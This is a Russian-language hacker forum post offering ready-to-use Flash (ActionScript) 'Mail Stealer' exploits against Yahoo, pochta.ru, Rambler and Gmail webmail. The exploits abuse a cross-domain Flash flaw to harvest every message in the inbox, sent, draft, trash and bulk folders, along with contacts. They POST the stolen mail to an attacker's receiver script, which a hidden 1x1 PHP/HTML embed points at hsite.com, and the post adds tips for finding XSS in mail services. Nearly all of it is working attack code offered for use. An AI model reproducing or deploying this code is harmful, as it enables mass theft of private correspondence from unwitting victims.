|
Fail
Регистрация: 17.09.2005
Сообщений: 2,242
Провел на форуме: 9089375
Репутация:
4268
|
|
yahoo.com
Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Bulk, Trash [AS1/2]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 8+
· Javascript
/*
yahoo.com Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all messages in next folders:
inbox, draft, sent, bulk, trash
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// [optional] messagesUntilDump:Number = Number of PMs per one dump
if(_level0.dataReceiverUrl) {
if(!_level0.messagesUntilDump) { var messagesUntilDump:Number = 3; }
import flash.external.ExternalInterface;
System.useCodepage = true;
var messagesContent:Array = new Array();
var allMessageLinks:Array = new Array();
var tmpMessageLinks:Object = new Object();
var foldersDone:Number = 0;
// Getting referrer
var referrer:String = ExternalInterface.call(
"function() { return document.referrer; }").toString();
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));
// Loading policy file / Expanding 'sandbox'
System.security.loadPolicyFile(referrer + '&bodyPart=2');
var folders:Array = new Array(
'/ShowFolder?rb=Inbox&', // Inbox
'/ShowFolder?rb=Draft&', // Draft
'/ShowFolder?rb=Sent&', // Sent
'/ShowFolder?rb=@B@Bulk&', // Bulk
'/ShowFolder?rb=Trash&'); // Trash
// Getting lists of messages in folders
for(var i in folders) {
serverRequest(
baseUrl + folders[i],
onGetMessageList,
'GET');
}
}
function onGetMessageList(loadedData:String):Void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
// Using external Js Regexp (Flash player < 9 doesn't support Regexp)
var links:Object = ExternalInterface.call(
'function(data) { return data.match(/(ShowLetter\\?[^\\"#]*)/ig); }',
loadedData.split("\\\"").join(''));
// Deleting similar links
for(var i in links) {
tmpMessageLinks[links[i]] = null; }
foldersDone++;
if(foldersDone == folders.length) {
// Concatenation (Object) tmpMessageLinks to (Array) allMessageLinks
for(var i in tmpMessageLinks) {
allMessageLinks.push(i); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():Void {
if(allMessageLinks.length) {
if(allMessageLinks.length < messagesUntilDump) {
messagesUntilDump = allMessageLinks.length; }
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
serverRequest(
baseUrl + '/' + allMessageLinks.shift() + '&',
onGetMessageContent,
'GET');
}
}
}
function onGetMessageContent(loadedData:String):Void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
serverRequest(
_level0.dataReceiverUrl,
function() {},
'POST',
'data=' + escape(messagesContent.join('<br>')));
messagesContent = new Array();
sendGetLinkRequsts();
}
}
function serverRequest(
requestUrl:String, onDataFunc:Function, method:String, vars:String):Void {
var sender:LoadVars = new LoadVars();
var loader:LoadVars = new LoadVars();
if(vars) { sender.decode(vars); }
loader.onData = onDataFunc;
sender.sendAndLoad(requestUrl, loader, method);
}
// EOF
pochta.ru
Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
· Javascript
/*
pochta.ru Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all messages in next folders:
inbox, draft, sent, trash
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;
var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl) {
import flash.external.ExternalInterface;
if(!messagesUntilDump) { messagesUntilDump = 3; }
var messagesContent:Array = new Array();
var allLinks:Array = new Array();
var allLinksObject:Object = new Object();
var foldersDone:Number = 0;
// Getting referrer
var referrer:String = ExternalInterface.call(
"function() { return document.referrer; }").toString();
var messageId:String = referrer.match(/index=(\d+)/i)[1];
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));
// Loading policy file / Expanding 'sandbox'
flash.system.Security.loadPolicyFile(baseUrl + '/view.php?index=' + messageId + '&partID=2&actionID=download_attach');
var folders:Array = new Array(
'/mailbox.php?mailbox=INBOX&', // Inbox
'/mailbox.php?mailbox=INBOX.Draft&', // Draft
'/mailbox.php?mailbox=INBOX.Sent&', // Sent
'/mailbox.php?mailbox=INBOX.Trash&'); // Trash
// Getting lists of messages in some folders (folders)
var loader:LoadUrl = new LoadUrl(null, onGetMessageList);
for each (var folder in folders) {
new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl();
}
}
function onGetMessageList(loadedData:String, requestUrl:String):void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
var currentLinks:Array = loadedData.match(/(message\.php\?index=\d+)/ig);
var currentFolder:String = requestUrl.match(/\?(mailbox=[a-z\.]+)&/i)[1];
// Deleting similar links
for each (var link:String in currentLinks) {
allLinksObject[link + '&' + currentFolder] = null; }
foldersDone++;
if(foldersDone == folders.length) {
for(var key:String in allLinksObject) {
allLinks.push(key); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():void {
if(allLinks.length) {
if(allLinks.length < messagesUntilDump) {
messagesUntilDump = allLinks.length; }
var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
loader.setRequestUrl(baseUrl + '/' + allLinks.shift());
loader.loadUrl();
}
}
}
function onGetMessageContent(loadedData:String, requestUrl:String):void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
var loader:LoadUrl = new LoadUrl(
dataReceiverUrl,
function() {},
'POST',
'data=' + escape(messagesContent.join('<br>')));
loader.loadUrl();
messagesContent = new Array();
sendGetLinkRequsts();
}
}
// EOF
Необходимый класс [LoadUrl.as]:
package {
import flash.net.*;
import flash.events.*;
public class LoadUrl {
private var requestUrl:String;
private var method:String;
private var vars:String;
private var onLoadFunction:Function;
// Constructor
public function LoadUrl(
requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void {
this.requestUrl = requestUrl;
this.method = method;
this.vars = vars;
this.onLoadFunction = onLoadFunction;
}
public function setRequestUrl(requestUrl:String):void {
this.requestUrl = requestUrl;
}
public function getRequestUrl():String {
return(this.requestUrl);
}
public function loadUrl():void{
var request:URLRequest = new URLRequest(requestUrl);
request.method = method;
if(vars) { request.data = vars; }
var loader:URLLoader = new URLLoader();
loader.addEventListener(
Event.COMPLETE,
function() { onLoadFunction(loader.data, getRequestUrl()); } );
loader.addEventListener(
IOErrorEvent.IO_ERROR,
function() { loadUrl(); });
try {
loader.load(request);
} catch (error:Error) { return; }
}
}
}
rambler.ru
Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3]
Параметры:
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
· Javascript
/*
rambler.ru Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all messages in next folders:
inbox, draft, sent, trash + contacts
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;
var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl) {
import flash.external.ExternalInterface;
if(!messagesUntilDump) { messagesUntilDump = 3; }
var messagesContent:Array = new Array();
var allLinks:Array = new Array('contacts.cgi');
var allLinksObject:Object = new Object();
var foldersDone:Number = 0;
// Getting referrer
var referrer:String = ExternalInterface.call(
"function() { return document.referrer; }").toString();
var messageId:String = referrer.match(/what=(\d+)/i)[1];
var mbox:String = referrer.match(/mbox=([a-z]+)/i)[1];
var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));
// Loading policy file / Expanding 'sandbox'
flash.system.Security.loadPolicyFile(baseUrl + '/mail.cgi?mode=obj;mbox=' + mbox + ';what=' + messageId + '.2;for=download');
var folders:Array = new Array(
'/mail.cgi?mode=mailbox;mbox=INBOX&', // Inbox
'/mail.cgi?mode=mailbox;mbox=SentBox&', // Sent
'/mail.cgi?mode=mailbox;mbox=DraftBox&', // Draft
'/mail.cgi?mode=mailbox;mbox=Trash&'); // Trash
// Getting lists of messages in some folders (folders)
var loader:LoadUrl = new LoadUrl(null, onGetMessageList);
for each (var folder in folders) {
new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl();
}
}
function onGetMessageList(loadedData:String):void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
var currentLinks:Array = loadedData.match(/(mail.cgi\?mode=obj;[^\"]+)/ig);
// Deleting similar links
for each (var link:String in currentLinks) {
allLinksObject[link + '&'] = null; }
foldersDone++;
if(foldersDone == folders.length) {
for(var key:String in allLinksObject) {
allLinks.push(key); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():void {
if(allLinks.length) {
if(allLinks.length < messagesUntilDump) {
messagesUntilDump = allLinks.length; }
var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
loader.setRequestUrl(baseUrl + '/' + allLinks.shift());
loader.loadUrl();
}
}
}
function onGetMessageContent(loadedData:String):void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
var loader:LoadUrl = new LoadUrl(
dataReceiverUrl,
function() {},
'POST',
'data=' + escape(messagesContent.join('<br>')));
loader.loadUrl();
messagesContent = new Array();
sendGetLinkRequsts();
}
}
// EOF
В примере используется класс LoadUrl такой же, как и для gmail.com (см. далее)
icqmail.com
На данном почтовом сервере присутствует описанная уязвимость, однако в ходе проверки обнаружились еще 3 активных XSS (поля from, to, cc), множество пассивных, поэтому писать exploit для данного сервиса я не стал, ибо использование активных XSS в данном случае эффективнее.
gmail.com
Данный почтовый сервис уязвим, если используется "Gmail's basic HTML view" (при отключенном Javascript). При переходе по ссылке в теле письма передается Referer. На основании двух параметров из Referer формируем адрес attachment. Exploit придется писать на AS3, т. к. понадобятся регулярные выражения без использования Javascript. Referer необходимо будет передавать клипу параметром, например, используя PHP + FlashVars.
Gmail's basic HTML view - http://mail.google.com/mail/h/
Код для кражи всех писем в директориях All Mail, Trash + contacts [AS3]
Параметры:
· Referer - адрес присланного жертве письма
· dataReceiverUrl
· [optional] messagesUntilDump
Требования:
· Flash Player 9+
/*
gmail.com Mail Stealer by Cenarius
Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability
Steals all mail + contacts
Works in Gmail's basic HTML view
Email: ooohoow@gmail.com | Icq: 100732
*/
// Params:
// dataReceiverUrl:String = Url of data receiving script
// referer:String
// [optional] messagesUntilDump:Number = Number of PMs per one dump
var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;
var referer:String = this.loaderInfo.parameters.referer;
var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;
if(dataReceiverUrl && referer) {
if(!messagesUntilDump) { messagesUntilDump = 3; }
var messagesContent:Array = new Array();
var allLinks:Array = new Array('?v=cl');
var allLinksObject:Object = new Object();
var foldersDone:Number = 0;
var baseUrl:String = referer.substring(0, referer.lastIndexOf('/'));
var th:String = referer.match(/th=([a-z0-9]+)/i)[1];
// Loading policy file / Expanding 'sandbox'
flash.system.Security.loadPolicyFile(baseUrl + '?realattid=file0&attid=0.1&disp=attd&view=att&th= ' + th);
var folders:Array = new Array(
'/s=a&', // All Mail
'/s=t&'); // Trash
// Getting lists of messages in some folders (folders)
var loader:LoadUrl = new LoadUrl(null, onGetMessageList);
for each (var folder in folders) {
loader.setRequestUrl(baseUrl + folder);
loader.loadUrl();
}
}
function onGetMessageList(loadedData:String):void {
if(!loadedData) {
// Connect error || expanding 'sandbox' error
return; }
// Parsing received data for links of messages
var currentLinks:Array = loadedData.match(/(\?v=[^\"]+&th=[^\"]+)/ig);
// Deleting similar links
for each (var link:String in currentLinks) {
allLinksObject[link] = null; }
foldersDone++;
if(foldersDone == folders.length) {
for(var key:String in allLinksObject) {
allLinks.push(key); }
sendGetLinkRequsts();
}
}
function sendGetLinkRequsts():void {
if(allLinks.length) {
if(allLinks.length < messagesUntilDump) {
messagesUntilDump = allLinks.length; }
var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);
for(var i:Number = 1; i <= messagesUntilDump; i++) {
// Getting content of message
loader.setRequestUrl(baseUrl + '/' + allLinks.shift() + '&');
loader.loadUrl();
}
}
}
function onGetMessageContent(loadedData:String):void {
if(messagesContent.push(loadedData) >= messagesUntilDump) {
// Dumping messages
var loader:LoadUrl = new LoadUrl(
dataReceiverUrl,
function() {},
'POST',
'data=' + encodeURIComponent(messagesContent.join('<br>')));
loader.loadUrl();
messagesContent = new Array();
sendGetLinkRequsts();
}
}
// EOF
Необходимый класс [LoadUrl.as]:
package {
import flash.net.*;
import flash.events.*;
public class LoadUrl {
private var requestUrl:String;
private var method:String;
private var vars:String;
private var onLoadFunction:Function;
// Constructor
public function LoadUrl(
requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void {
this.requestUrl = requestUrl;
this.method = method;
this.vars = vars;
this.onLoadFunction = onLoadFunction;
}
public function setRequestUrl(requestUrl:String):void {
this.requestUrl = requestUrl;
}
public function getRequestUrl():String {
return(this.requestUrl);
}
public function loadUrl():void{
var request:URLRequest = new URLRequest(requestUrl);
request.method = method;
if(vars) { request.data = vars; }
var loader:URLLoader = new URLLoader();
loader.addEventListener(
Event.COMPLETE,
function() { onLoadFunction(loader.data); } );
loader.addEventListener(
IOErrorEvent.IO_ERROR,
function() { loadUrl(); });
try {
loader.load(request);
} catch (error:Error) { return; }
}
}
}
Пример запуска на PHP:
PHP код:
<?php $referer = urlencode($_SERVER['HTTP_REFERER']); ?>
<OBJECT
id="fl"
classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
width="1"
height="1"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<PARAM name="movie" value="fl.swf">
<PARAM name="FlashVars" value="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' . $referer;?>">
<EMBED
name="fl"
src="fl.swf"
FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' . $referer;?>"
width="1"
height="1"
swLiveConnect="true"
pluginspace="http://www.macromedia.com/go/flashplayer/">
</EMBED>
</OBJECT>
При просмотре результатов использовать кодировку UTF-8
От необходимости поддержки браузером жертвы Javascript можно избавиться: для этого exploits надо писать на AS3, Referer получать используя, например, PHP, передавать его клипу посредством FlashVars (см. пример gmail.com)
Для проверки почтовых сервисов на XSS, CDDAF рекомендую использовать обновленную версию cXssTester. Для поиска XSS посылаем письмо на свой почтовый ящик и смотрим исходный код полученного письма, ищем недостатки в фильтрации. Для проверки на наличие CDDAF смотрим, возможно ли получить адрес прикрепленных к письму файлов или самого письма. Это можно сделать, получив Referer от жертвы, поэтому необходимо проверить, передается ли он при переходе по ссылке из письма, загружаются ли внешние HTML элементы. Также необходимо обратить внимание на наличие / отсутствие фильтрации кода сертификата в теле письма.
__________________
...
|